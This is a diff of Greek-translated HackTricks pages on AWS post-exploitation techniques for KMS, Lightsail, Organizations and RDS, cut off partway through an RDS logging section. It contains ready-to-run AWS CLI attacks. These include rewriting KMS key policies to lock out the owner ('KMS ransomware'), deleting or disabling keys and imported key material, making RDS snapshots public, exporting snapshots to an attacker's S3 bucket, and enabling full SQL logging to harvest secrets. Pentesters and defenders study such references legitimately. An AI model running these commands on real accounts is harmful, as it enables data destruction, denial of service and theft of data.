Με δικαιώματα όπως `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, ή `kms:UpdateCustomKeyStore`, ένας actor μπορεί να τροποποιήσει, να αποσυνδέσει ή να διαγράψει ένα AWS KMS Custom Key Store (CKS), καθιστώντας τα master keys του μη λειτουργικά. Αυτό διακόπτει τις λειτουργίες κρυπτογράφησης, αποκρυπτογράφησης και υπογραφής για οποιεσδήποτε υπηρεσίες που βασίζονται σε αυτά τα κλειδιά και μπορεί να προκαλέσει άμεσο denial-of-service. Επομένως, είναι κρίσιμο να περιορίζονται και να παρακολουθούνται αυτά τα δικαιώματα.
|
||||
```bash
|
||||
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
|
||||
```
|
||||
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+182
@@ -0,0 +1,182 @@
|
||||
# AWS - KMS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Για περισσότερες πληροφορίες, δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Encrypt/Decrypt information
|
||||
|
||||
`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
|
||||
|
||||
- `fileb://:` Διαβάζει το αρχείο σε δυαδική λειτουργία, συνήθως χρησιμοποιείται για μη-κειμενικά αρχεία.
|
||||
- `file://:` Διαβάζει το αρχείο σε κειμενική λειτουργία, συνήθως χρησιμοποιείται για plain text files, scripts ή JSON που δεν έχει ειδικές απαιτήσεις κωδικοποίησης.
|
||||
|
||||
> [!TIP]
|
||||
> Σημειώστε ότι αν θέλετε να αποκρυπτογραφήσετε δεδομένα μέσα σε ένα αρχείο, το αρχείο πρέπει να περιέχει δυαδικά δεδομένα, όχι base64 encoded δεδομένα. (fileb://)
|
||||
|
||||
- Χρήση **symmetric** key
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
|
||||
# Decrypt data
|
||||
aws kms decrypt \
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
- Χρήση ενός **ασύμμετρου** κλειδιού:
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
|
||||
# Decrypt data
|
||||
aws kms decrypt \
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
### KMS Ransomware
|
||||
|
||||
Ένας επιτιθέμενος με προνόμιακή πρόσβαση στο KMS μπορεί να τροποποιήσει την KMS policy των keys και **να χορηγήσει πρόσβαση στον λογαριασμό του σε αυτά**, αφαιρώντας την πρόσβαση που είχε χορηγηθεί στον νόμιμο λογαριασμό.
|
||||
|
||||
Τότε, οι χρήστες του νόμιμου λογαριασμού δεν θα μπορούν να προσπελάσουν καμία πληροφορία από υπηρεσίες που έχουν κρυπτογραφηθεί με αυτά τα keys, δημιουργώντας ένα απλό αλλά αποτελεσματικό ransomware εναντίον του λογαριασμού.
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι **AWS managed keys aren't affected** από αυτή την επίθεση — επηρεάζονται μόνο οι **Customer managed keys**.
|
||||
|
||||
> Επίσης σημειώστε την ανάγκη χρήσης της παραμέτρου **`--bypass-policy-lockout-safety-check`** (η έλλειψη αυτής της επιλογής στην web console κάνει αυτή την επίθεση δυνατή μόνο μέσω του CLI).
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
--policy-name default \
|
||||
--policy file:///tmp/policy.yaml \
|
||||
--bypass-policy-lockout-safety-check
|
||||
|
||||
{
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::<your_own_account>:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Σημειώστε ότι αν αλλάξετε αυτήν την πολιτική και δώσετε πρόσβαση μόνο σε έναν εξωτερικό λογαριασμό, και στη συνέχεια από αυτόν τον εξωτερικό λογαριασμό προσπαθήσετε να ορίσετε μια νέα πολιτική για **να επιστρέψετε την πρόσβαση στον αρχικό λογαριασμό, δεν θα μπορέσετε γιατί το Put Polocy action cannot be performed from a cross account**.
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Γενικό KMS Ransomware
|
||||
|
||||
Υπάρχει ένας άλλος τρόπος για να εκτελέσετε ένα παγκόσμιο KMS Ransomware, ο οποίος περιλαμβάνει τα παρακάτω βήματα:
|
||||
|
||||
- Δημιουργήστε ένα νέο **κλειδί με υλικό κλειδιού** που έχει εισαχθεί από τον επιτιθέμενο
|
||||
- **Επανακρυπτογραφήστε τα παλαιότερα δεδομένα** του θύματος που έχουν κρυπτογραφηθεί με την προηγούμενη έκδοση, με τη νέα.
|
||||
- **Διαγράψτε το KMS κλειδί**
|
||||
- Τώρα μόνο ο επιτιθέμενος, που έχει το αρχικό υλικό κλειδιού, θα μπορεί να αποκρυπτογραφήσει τα κρυπτογραφημένα δεδομένα.
|
||||
|
||||
### Διαγραφή Κλειδιών μέσω kms:DeleteImportedKeyMaterial
|
||||
|
||||
Με την άδεια `kms:DeleteImportedKeyMaterial`, ένας δράστης μπορεί να διαγράψει το εισαγμένο υλικό κλειδιού από CMKs με `Origin=EXTERNAL` (CMKs που έχουν εισάγει το υλικό κλειδιού τους), καθιστώντας τα ανίκανα να αποκρυπτογραφήσουν δεδομένα. Αυτή η ενέργεια είναι καταστροφική και μη αναστρέψιμη εκτός εάν επανεισαχθεί συμβατό υλικό, επιτρέποντας σε έναν επιτιθέμενο να προκαλέσει αποτελεσματικά απώλεια δεδομένων τύπου ransomware, καθιστώντας τις κρυπτογραφημένες πληροφορίες μόνιμα μη προσβάσιμες.
|
||||
```bash
|
||||
aws kms delete-imported-key-material --key-id <Key_ID>
|
||||
```
|
||||
### Καταστροφή κλειδιών
|
||||
|
||||
Η καταστροφή κλειδιών μπορεί να προκαλέσει DoS.
|
||||
```bash
|
||||
# Schedule the destoy of a key (min wait time is 7 days)
|
||||
aws kms schedule-key-deletion \
|
||||
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Σημειώστε ότι το AWS πλέον **αποτρέπει την εκτέλεση των προηγούμενων ενεργειών από cross account:**
|
||||
|
||||
### Αλλαγή ή διαγραφή Alias
|
||||
Αυτή η επίθεση διαγράφει ή ανακατευθύνει τα AWS KMS aliases, σπάζοντας την επίλυση κλειδιού και προκαλώντας άμεσες αποτυχίες σε οποιεσδήποτε υπηρεσίες που βασίζονται σε αυτά τα aliases, με αποτέλεσμα denial-of-service. Με δικαιώματα όπως `kms:DeleteAlias` ή `kms:UpdateAlias` ένας attacker μπορεί να αφαιρέσει ή να επαναδείξει aliases και να διαταράξει κρυπτογραφικές λειτουργίες (π.χ., encrypt, describe). Οποιαδήποτε υπηρεσία που αναφέρεται στο alias αντί για το key ID μπορεί να αποτύχει μέχρι το alias να αποκατασταθεί ή να αντιστοιχηθεί σωστά.
|
||||
```bash
|
||||
# Delete Alias
|
||||
aws kms delete-alias --alias-name alias/<key_alias>
|
||||
|
||||
# Update Alias
|
||||
aws kms update-alias \
|
||||
--alias-name alias/<key_alias> \
|
||||
--target-key-id <new_target_key>
|
||||
```
|
||||
### Cancel Key Deletion
|
||||
Με δικαιώματα όπως `kms:CancelKeyDeletion` και `kms:EnableKey`, ένας δράστης μπορεί να ακυρώσει μια προγραμματισμένη διαγραφή ενός AWS KMS customer master key και αργότερα να το ενεργοποιήσει ξανά. Με αυτόν τον τρόπο ανακτάται το κλειδί (αρχικά σε κατάσταση Disabled) και αποκαθίσταται η ικανότητά του να decrypt δεδομένα που προηγουμένως ήταν προστατευμένα, επιτρέποντας exfiltration.
|
||||
```bash
|
||||
# Firts cancel de deletion
|
||||
aws kms cancel-key-deletion \
|
||||
--key-id <Key_ID>
|
||||
|
||||
## Second enable the key
|
||||
aws kms enable-key \
|
||||
--key-id <Key_ID>
|
||||
```
|
||||
### Disable Key
|
||||
Με την άδεια `kms:DisableKey`, ένας δράστης μπορεί να απενεργοποιήσει ένα AWS KMS customer master key, εμποδίζοντάς το να χρησιμοποιηθεί για encryption ή decryption. Αυτό διακόπτει την πρόσβαση για οποιεσδήποτε υπηρεσίες που εξαρτώνται από εκείνο το CMK και μπορεί να προκαλέσει άμεσες διαταραχές ή ένα denial-of-service έως ότου το κλειδί επανενεργοποιηθεί.
|
||||
```bash
|
||||
aws kms disable-key \
|
||||
--key-id <key_id>
|
||||
```
|
||||
### Derive Shared Secret
|
||||
Με την άδεια `kms:DeriveSharedSecret`, ένας χρήστης μπορεί να χρησιμοποιήσει ένα ιδιωτικό κλειδί που φυλάσσεται στο KMS μαζί με ένα δημόσιο κλειδί που παρέχεται από τον χρήστη για να υπολογίσει ένα κοινό μυστικό ECDH.
|
||||
```bash
|
||||
aws kms derive-shared-secret \
|
||||
--key-id <key_id> \
|
||||
--public-key fileb:///<route_to_public_key> \
|
||||
--key-agreement-algorithm <algorithm>
|
||||
```
|
||||
### Πλαστοπροσωπία μέσω kms:Sign
|
||||
Με την άδεια `kms:Sign`, μια οντότητα μπορεί να χρησιμοποιήσει ένα CMK αποθηκευμένο στο KMS για να υπογράψει κρυπτογραφικά δεδομένα χωρίς να αποκαλύψει το private key, παράγοντας έγκυρες υπογραφές που μπορούν να επιτρέψουν πλαστοπροσωπία ή να εξουσιοδοτήσουν κακόβουλες ενέργειες.
|
||||
```bash
|
||||
aws kms sign \
|
||||
--key-id <key-id> \
|
||||
--message fileb://<ruta-al-archivo> \
|
||||
--signing-algorithm <algoritmo> \
|
||||
--message-type RAW
|
||||
```
|
||||
### DoS with Custom Key Stores
|
||||
Με δικαιώματα όπως `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, ή `kms:UpdateCustomKeyStore`, ένας δράστης μπορεί να τροποποιήσει, αποσυνδέσει ή διαγράψει ένα AWS KMS Custom Key Store (CKS), καθιστώντας τα κύρια κλειδιά του μη λειτουργικά. Αυτό διακόπτει τις λειτουργίες κρυπτογράφησης, αποκρυπτογράφησης και υπογραφής για οποιεσδήποτε υπηρεσίες που βασίζονται σε αυτά τα κλειδιά και μπορεί να προκαλέσει άμεση denial-of-service. Συνεπώς, ο περιορισμός και η παρακολούθηση αυτών των δικαιωμάτων είναι κρίσιμης σημασίας.
|
||||
```bash
|
||||
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
|
||||
```
|
||||
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
-30
@@ -1,30 +0,0 @@
|
||||
# AWS - Lightsail Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
Για περισσότερες πληροφορίες, ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Επαναφορά παλαιών στιγμιότυπων DB
|
||||
|
||||
Εάν η DB έχει στιγμιότυπα, μπορεί να είστε σε θέση να **βρείτε ευαίσθητες πληροφορίες που έχουν διαγραφεί σε παλαιά στιγμιότυπα**. **Επαναφέρετε** το στιγμιότυπο σε μια **νέα βάση δεδομένων** και ελέγξτε το.
|
||||
|
||||
### Επαναφορά Στιγμιότυπων Instance
|
||||
|
||||
Τα στιγμιότυπα instance μπορεί να περιέχουν **ευαίσθητες πληροφορίες** από ήδη διαγραμμένα instances ή ευαίσθητες πληροφορίες που έχουν διαγραφεί στο τρέχον instance. **Δημιουργήστε νέα instances από τα στιγμιότυπα** και ελέγξτε τα.\
|
||||
Ή **εξάγετε το στιγμιότυπο σε ένα AMI στο EC2** και ακολουθήστε τα βήματα ενός τυπικού instance EC2.
|
||||
|
||||
### Πρόσβαση σε Ευαίσθητες Πληροφορίες
|
||||
|
||||
Ελέγξτε τις επιλογές privesc του Lightsail για να μάθετε διάφορους τρόπους πρόσβασης σε πιθανές ευαίσθητες πληροφορίες:
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-lightsail-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+30
@@ -0,0 +1,30 @@
|
||||
# AWS - Lightsail Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
Για περισσότερες πληροφορίες, δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Restore old DB snapshots
|
||||
|
||||
Αν η DB έχει snapshots, μπορεί να καταφέρετε να **βρείτε ευαίσθητες πληροφορίες που έχουν διαγραφεί παλαιότερα σε snapshots**. **Επαναφέρετε** το snapshot σε μια **νέα βάση δεδομένων** και ελέγξτε το.
|
||||
|
||||
### Restore Instance Snapshots
|
||||
|
||||
Τα instance snapshots μπορεί να περιέχουν **ευαίσθητες πληροφορίες** από ήδη διαγραμμένα instances ή ευαίσθητες πληροφορίες που έχουν διαγραφεί στην τρέχουσα instance. **Δημιουργήστε νέες instances από τα snapshots** και ελέγξτε τα.\
|
||||
Ή **εξάγετε το snapshot σε ένα AMI στο EC2** και ακολουθήστε τα βήματα μιας τυπικής EC2 instance.
|
||||
|
||||
### Access Sensitive Information
|
||||
|
||||
Εξετάστε τις Lightsail privesc επιλογές για να μάθετε διαφορετικούς τρόπους πρόσβασης σε πιθανές ευαίσθητες πληροφορίες:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-lightsail-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
-17
@@ -1,17 +0,0 @@
|
||||
# AWS - Οργανώσεις Μετά την Εκμετάλλευση
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Οργανώσεις
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με τις Οργανώσεις AWS, ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-organizations-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Αποχώρηση από την Οργάνωση
|
||||
```bash
|
||||
aws organizations deregister-account --account-id <account_id> --region <region>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+17
@@ -0,0 +1,17 @@
|
||||
# AWS - Organizations Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Organizations
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με AWS Organizations δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-organizations-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Αποχώρηση από το Org
|
||||
```bash
|
||||
aws organizations deregister-account --account-id <account_id> --region <region>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+60
-60
@@ -1,18 +1,18 @@
|
||||
# AWS - RDS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
Για περισσότερες πληροφορίες, δείτε:
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Αν ο attacker έχει επαρκή δικαιώματα, μπορεί να καταστήσει μια **DB δημόσια προσβάσιμη** δημιουργώντας ένα snapshot της DB και στη συνέχεια μια δημόσια προσβάσιμη DB από το snapshot.
|
||||
Εάν ο επιτιθέμενος έχει αρκετά δικαιώματα, μπορεί να κάνει μια **DB δημόσια προσβάσιμη** δημιουργώντας ένα snapshot της DB και στη συνέχεια μια δημόσια προσβάσιμη DB από το snapshot.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -40,7 +40,7 @@ aws rds modify-db-instance \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
Ένας επιτιθέμενος με αυτά τα δικαιώματα θα μπορούσε να **δημιουργήσει ένα snapshot μιας DB** και να το καταστήσει **δημόσια** **διαθέσιμο**. Στη συνέχεια, θα μπορούσε απλά να δημιουργήσει στο δικό του λογαριασμό μια DB από αυτό το snapshot.
|
||||
Ένας επιτιθέμενος με αυτά τα δικαιώματα θα μπορούσε να **δημιουργήσει ένα snapshot ενός DB** και να το κάνει **δημόσια** **διαθέσιμο**. Στη συνέχεια, θα μπορούσε απλώς να δημιουργήσει στον δικό του λογαριασμό ένα DB από αυτό το snapshot.
|
||||
|
||||
Ακόμα κι αν ο επιτιθέμενος **δεν έχει το `rds:CreateDBSnapshot`**, μπορεί παρόλα αυτά να κάνει **άλλα** δημιουργημένα snapshots **δημόσια**.
|
||||
```bash
|
||||
@@ -53,7 +53,7 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
Ένας επιτιθέμενος με την άδεια `rds:DownloadDBLogFilePortion` μπορεί να **κατεβάσει τμήματα των αρχείων καταγραφής μιας RDS instance**. Αν ευαίσθητα δεδομένα ή διαπιστευτήρια πρόσβασης καταγραφούν κατά λάθος, ο επιτιθέμενος ενδεχομένως να χρησιμοποιήσει αυτές τις πληροφορίες για να αυξήσει τα προνόμιά του ή να προβεί σε μη εξουσιοδοτημένες ενέργειες.
|
||||
Ένας επιτιθέμενος με το δικαίωμα `rds:DownloadDBLogFilePortion` μπορεί να κατεβάσει τμήματα των αρχείων καταγραφής ενός instance του RDS. Εάν ευαίσθητα δεδομένα ή διαπιστευτήρια πρόσβασης καταγραφούν κατά λάθος, ο επιτιθέμενος θα μπορούσε ενδεχομένως να χρησιμοποιήσει αυτές τις πληροφορίες για να κλιμακώσει τα προνόμιά του ή να εκτελέσει μη εξουσιοδοτημένες ενέργειες.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
@@ -61,40 +61,40 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance --
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να **προκαλέσει DoS σε υπάρχουσες RDS instances**.
|
||||
Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να **DoS existing RDS instances**.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**Πιθανός αντίκτυπος**: Διαγραφή υπαρχόντων RDS instances και πιθανή απώλεια δεδομένων.
|
||||
**Πιθανός αντίκτυπος**: Διαγραφή υφιστάμενων RDS instances και πιθανή απώλεια δεδομένων.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Δοκιμή
|
||||
|
||||
Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να **εξάγει ένα στιγμιότυπο RDS instance σε ένα S3 bucket**. Εάν ο επιτιθέμενος έχει τον έλεγχο του προορισμού S3 bucket, μπορεί ενδεχομένως να αποκτήσει πρόσβαση σε ευαίσθητα δεδομένα εντός του εξαγόμενου στιγμιότυπου.
|
||||
Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να **εξάγει ένα RDS instance snapshot σε έναν S3 bucket**. Εάν ο επιτιθέμενος έχει έλεγχο του προοριστικού S3 bucket, μπορεί ενδεχομένως να αποκτήσει πρόσβαση σε ευαίσθητα δεδομένα που περιέχονται στο εξαγόμενο snapshot.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Potential impact**: Πρόσβαση σε ευαίσθητα δεδομένα στο εξαγόμενο snapshot.
|
||||
|
||||
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### Αναπαραγωγή αυτόματων αντιγράφων ασφαλείας ανά Region για κρυφή επαναφορά (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Κακοποίηση της Cross-Region automated backups replication για να διπλασιαστούν αθόρυβα τα automated backups ενός instance RDS σε άλλη AWS Region και να γίνουν restore εκεί. Ο επιτιθέμενος μπορεί στη συνέχεια να κάνει τη επαναφερθείσα DB δημόσια προσβάσιμη και να επαναφέρει τον master κωδικό πρόσβασης για να αποκτήσει πρόσβαση στα δεδομένα out-of-band σε μια Region που οι αμυνόμενοι μπορεί να μην παρακολουθούν.
|
||||
Κακοποίηση της αναπαραγωγής αυτόματων αντιγράφων ασφαλείας ανά Region για να διπλασιαστούν σιωπηλά τα automated backups ενός instance RDS σε άλλη AWS Region και να γίνει επαναφορά εκεί. Ο επιτιθέμενος μπορεί στη συνέχεια να καταστήσει τη επαναφερθείσα DB δημόσια προσβάσιμη και να επαναρυθμίσει τον master password για να αποκτήσει πρόσβαση σε δεδομένα εκτός ζώνης σε μια περιοχή που οι υπερασπιστές μπορεί να μην παρακολουθούν.
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
|
||||
- `rds:ModifyDBInstance` in the destination Region
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` στην προοριστική περιοχή
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` στην προοριστική περιοχή
|
||||
- `rds:RestoreDBInstanceToPointInTime` στην προοριστική περιοχή
|
||||
- `rds:ModifyDBInstance` στην προοριστική περιοχή
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (προαιρετικό καθάρισμα)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (για να εκθέσετε την επαναφερθείσα DB)
|
||||
|
||||
Impact: Επίμονη παρουσία και εξαγωγή δεδομένων επαναφέροντας ένα αντίγραφο παραγωγικών δεδομένων σε άλλη Region και εκθέτοντάς το δημόσια με διαπιστευτήρια υπό τον έλεγχο του επιτιθέμενου.
|
||||
Επίπτωση: Επιμονή και εξαγωγή δεδομένων αποκαθιστώντας ένα αντίγραφο των παραγωγικών δεδομένων σε άλλη περιοχή και εκθέτοντάς το δημόσια με διαπιστευτήρια ελεγχόμενα από τον επιτιθέμενο.
|
||||
|
||||
<details>
|
||||
<summary>Ολοκληρωμένο CLI (αντικαταστήστε τα placeholders)</summary>
|
||||
<summary>Ολοκληρωμένο CLI από άκρη σε άκρη (αντικαταστήστε τα placeholders)</summary>
|
||||
```bash
|
||||
# 1) Recon (SOURCE region A)
|
||||
aws rds describe-db-instances \
|
||||
@@ -163,9 +163,9 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### Enable full SQL logging via DB parameter groups and exfiltrate via RDS log APIs
|
||||
### Ενεργοποιήστε πλήρη SQL logging μέσω DB parameter groups και εξάγετε μέσω RDS log APIs
|
||||
|
||||
Καταχράσου `rds:ModifyDBParameterGroup` μαζί με τα RDS log download APIs για να καταγράψεις όλες τις SQL εντολές που εκτελούνται από εφαρμογές (δεν απαιτούνται DB engine credentials). Ενεργοποίησε engine SQL logging και κατέβασε τα log αρχεία μέσω `rds:DescribeDBLogFiles` και `rds:DownloadDBLogFilePortion` (ή το REST `downloadCompleteLogFile`). Χρήσιμο για συλλογή queries που μπορεί να περιέχουν secrets/PII/JWTs.
|
||||
Καταχραστείτε το `rds:ModifyDBParameterGroup` μαζί με τα RDS log download APIs για να καταγράψετε όλες τις SQL εντολές που εκτελούνται από εφαρμογές (δεν απαιτούνται credentials του DB engine). Ενεργοποιήστε την καταγραφή SQL του engine και ανακτήστε τα αρχεία καταγραφής μέσω `rds:DescribeDBLogFiles` και `rds:DownloadDBLogFilePortion` (ή το REST `downloadCompleteLogFile`). Χρήσιμο για τη συλλογή queries που μπορεί να περιέχουν secrets/PII/JWTs.
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
@@ -173,16 +173,16 @@ Permissions needed (minimum):
|
||||
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
|
||||
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
|
||||
|
||||
Steps
|
||||
Βήματα
|
||||
1) Recon του στόχου και του τρέχοντος parameter group
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) Βεβαιώσου ότι έχει προσαρτηθεί μια προσαρμοσμένη DB parameter group (δεν μπορείς να επεξεργαστείς την προεπιλεγμένη)
|
||||
- Αν το instance χρησιμοποιεί ήδη μια προσαρμοσμένη ομάδα, ξαναχρησιμοποίησε το όνομά της στο επόμενο βήμα.
|
||||
- Διαφορετικά δημιούργησε και επισύναψε μία που ταιριάζει με την οικογένεια του engine:
|
||||
2) Βεβαιωθείτε ότι έχει επισυναφθεί μια προσαρμοσμένη DB parameter group (δεν είναι δυνατή η επεξεργασία της προεπιλεγμένης)
|
||||
- Εάν το instance ήδη χρησιμοποιεί προσαρμοσμένη ομάδα, επαναχρησιμοποιήστε το όνομά της στο επόμενο βήμα.
|
||||
- Διαφορετικά, δημιουργήστε και επισυνάψτε μία που ταιριάζει με την engine family:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
@@ -196,8 +196,8 @@ aws rds modify-db-instance \
|
||||
--apply-immediately
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) Ενεργοποιήστε λεπτομερή καταγραφή SQL
|
||||
- MySQL engines (άμεσα / χωρίς επανεκκίνηση):
|
||||
3) Ενεργοποίηση λεπτομερούς SQL logging
|
||||
- MySQL engines (άμεση / χωρίς επανεκκίνηση):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -208,7 +208,7 @@ aws rds modify-db-parameter-group \
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- PostgreSQL engines (απαιτείται επανεκκίνηση):
|
||||
- PostgreSQL μηχανές (απαιτείται επανεκκίνηση):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -220,11 +220,11 @@ aws rds modify-db-parameter-group \
|
||||
# Reboot if any parameter is pending-reboot
|
||||
